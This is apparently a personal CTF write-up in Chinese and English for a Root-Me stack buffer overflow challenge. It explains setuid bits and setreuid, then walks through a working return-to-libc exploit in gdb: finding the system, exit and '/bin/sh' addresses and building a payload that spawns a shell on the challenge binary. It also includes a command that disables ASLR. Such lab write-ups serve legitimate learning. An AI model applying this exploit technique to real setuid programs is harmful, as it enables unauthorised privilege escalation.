ELF x86 - Stack buffer overflow basic 6

ELF x86 - Stack buffer overflow basic 6

return to libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

int main (int argc, char ** argv){
char message[20];

if (argc != 2){
printf ("Usage: %s <message>\n", argv[0]);
return -1;
}

setreuid(geteuid(), geteuid());
strcpy (message, argv[1]);
printf ("Your message: %s\n", message);
return 0;
}

知识学习

setuid & setgid

When the** setuid or setgid attributes are set on an executable file, then any users able to **execute the file will automatically execute the file with the privileges of the file’s owner (commonly root) and/or the file’s group, depending upon the flags set
普通用户提升权限运行
The setuid and setgid bits are normally set with the command chmod by setting the high-order octal digit to 4 for setuid or 2 for setgid. “chmod 6711 file” will set both the setuid and setgid bits (4+2=6), making the file read/write/executable for the owner (7), and executable by the group (first 1) and others (second 1). When a user other than the owner executes the file,** the process will run with user and group permissions set upon it by its owner**. For example, if the file is owned by user root and group wheel, it will run as root:wheel no matter who executes the file.
chmod +s

防御-降权 seteuid()

Normal approach followed by root setuid programs is to drop root privileges before getting input from the user. Thus even when user input is malicious, attacker wont get a root shell.
root setuid接收用户输入后,丢弃root权限
For** example below vulnerable code **wont allow the attacker to get a root shell.

 seteuid(getuid()); /* Temporarily drop privileges */ 

sticky bit

When a directory’s sticky bit is set, the filesystem treats the files in such directories in a special way so only the file’s owner, the directory’s owner, or root user can rename or delete the file.

ls -l test
chmod +t test; ls -l test

setreuid()

setreuid(geteuid(), geteuid()); 这是提升权限
每个Linux进程都有有两个相关的用户ID:实际用户ID(即ruid)和有效用户ID(即euid),其中ruid表示了该进程由谁运行,即当前系统环境用户是谁,主要回答who am I?的问题;而euid则用来规范进程的实际权限控制。比如passwd文件存放了用户名和密码,当一个普通用户运行passwd时,其ruid是自己,而euid则临时变为了文件的所有者root。
setreuid的作用在于设置ruid和euid

geteuid()

geteuid()用来取得执行目前进程有效的用户识别码. 有效的用户识别码用来决定进程执行的权限, 借由此改变此值, 进程可以获得额外的权限. 倘若执行文件的setID 位已被设置, 该文件执行时, 其进程的euid值便会设成该文件所有者的uid. 例如, 执行文件/usr/bin/passwd 的权限为-r-s–x–x, 其s 位即为setID(SUID)位, 而当任何用户在执行passwd 时其有效的用户识别码会被设成passwd 所有者的uid 值, 即root 的uid 值(0).

app-systeme-ch13@challenge02:~$ ls -l ./ch13
-r-sr-x--- 1 app-systeme-ch13-cracked app-systeme-ch13 7360 May 19  2019 ./ch13

关闭ASLR 原来值是2

使用sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"即可关闭ASLR


ret2lic入门

https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/

1
2
3
4
5
6
7
8
9
10
11
 //vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout); /* [4] */
return 0;
}

r $(python2 -c "print 'A'*270")
溢出 64位下
Invalid $PC address: 0x414141414141


解题

逆向

gdb-peda$ r $(python -c "print 'a'*36")
Stopped reason: SIGSEGV
0x61616161 in ?? ()

查看

gdb-peda$ print system
$2 = {<text variable, no debug info>} 0xb7e68310 <system>

gdb-peda$ print exit
$3 = {<text variable, no debug info>} 0xb7e5b260 <exit>

x/4000s $rsp
0xbffffef8:     "SHELL=/bin/bash"

gdb-peda$ x/s 0xbffffef8+6
0xbffffefe:     "/bin/bash"、x

将这三项连接在一起
r $(python -c "print 'a'*32+'\x10\x83\xe6\xb7'+'\x60\xb2\xe5\xb7'+'\xfe\xfe\xff\xbf'")

1
2
3
4
5
6
7
8
9
gdb-peda$ c
Continuing.
Your message: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaƒæ·`²å·þþÿ¿
[New process 5677]
process 5677 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address

报错不成功

(gdb) info proc map
查看虚拟空间布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Start Addr   End Addr       Size     Offset objfile
0x8048000 0x8049000 0x1000 0x0 /challenge/app-systeme/ch33/ch33
0x8049000 0x804a000 0x1000 0x0 /challenge/app-systeme/ch33/ch33
0x804a000 0x804b000 0x1000 0x1000 /challenge/app-systeme/ch33/ch33
0xb7e27000 0xb7e28000 0x1000 0x0
0xb7e28000 0xb7fd3000 0x1ab000 0x0 /libold/i386-linux-gnu/libc.so.6
0xb7fd3000 0xb7fd5000 0x2000 0x1aa000 /libold/i386-linux-gnu/libc.so.6
0xb7fd5000 0xb7fd6000 0x1000 0x1ac000 /libold/i386-linux-gnu/libc.so.6
0xb7fd6000 0xb7fda000 0x4000 0x0
0xb7fda000 0xb7fdd000 0x3000 0x0 [vvar]
0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso]
0xb7fde000 0xb7ffe000 0x20000 0x0 /libold/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 0x1000 0x1f000 /libold/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 0x1000 0x20000 /libold/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 0x21000 0x0 [stack]

查找”/bin/sh”在libc中的位置

gdb-peda$ searchmem "/bin/sh" 0xb7e27000 0xb7fd6000
Searching for '/bin/sh' in range: 0xb7e27000 - 0xb7fd6000
Found 1 results, display max 1 items:
libc.so.6 : 0xb7f8ad4c ("/bin/sh")

或者
gdb-peda$ find "/bin/sh"

成功,中间exit()不用连接也可以
for exiting without segmentation fault, it’s necessary to replace the ‘DDDD’ with a valid address (e.g address to libc’s exit function).
需要退出没有段报错,将DDDD用exit替换

1
2
3
4
5
app-systeme-ch33@challenge02:~$ ./ch33 $(python -c "print 'a'*32+'\x10\x83\xe6\xb7'+'AAAA'+'\x4c\xad\xf8\xb7'")
Your message: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaƒæ·AAAAL­ø·
$ id
uid=1233(app-systeme-ch33-cracked) gid=1133(app-systeme-ch33) groups=1133(app-systeme-ch33),100(users)
$ cat .passwd

/bin/sh used to point to/bin/bashon most GNU/Linux systems.


查看布局的另一种方法
maintenance info sections ALLOBJ
Object file: /lib/x86_64-linux-gnu/libc.so.6
[0] 0x7ffff7de42e0->0x7ffff7de4304 at 0x000002e0: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
[1] 0x7ffff7de4304->0x7ffff7de4324 at 0x00000304: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
[2] 0x7ffff7de4328->0x7ffff7de781c at 0x00000328: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS
[3] 0x7ffff7de7820->0x7ffff7deb4d4 at 0x00003820: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
[4] 0x7ffff7deb4d8->0x7ffff7df9308 at 0x000074d8: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
[5] 0x7ffff7df9308->0x7ffff7dff3c9 at 0x00015308: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS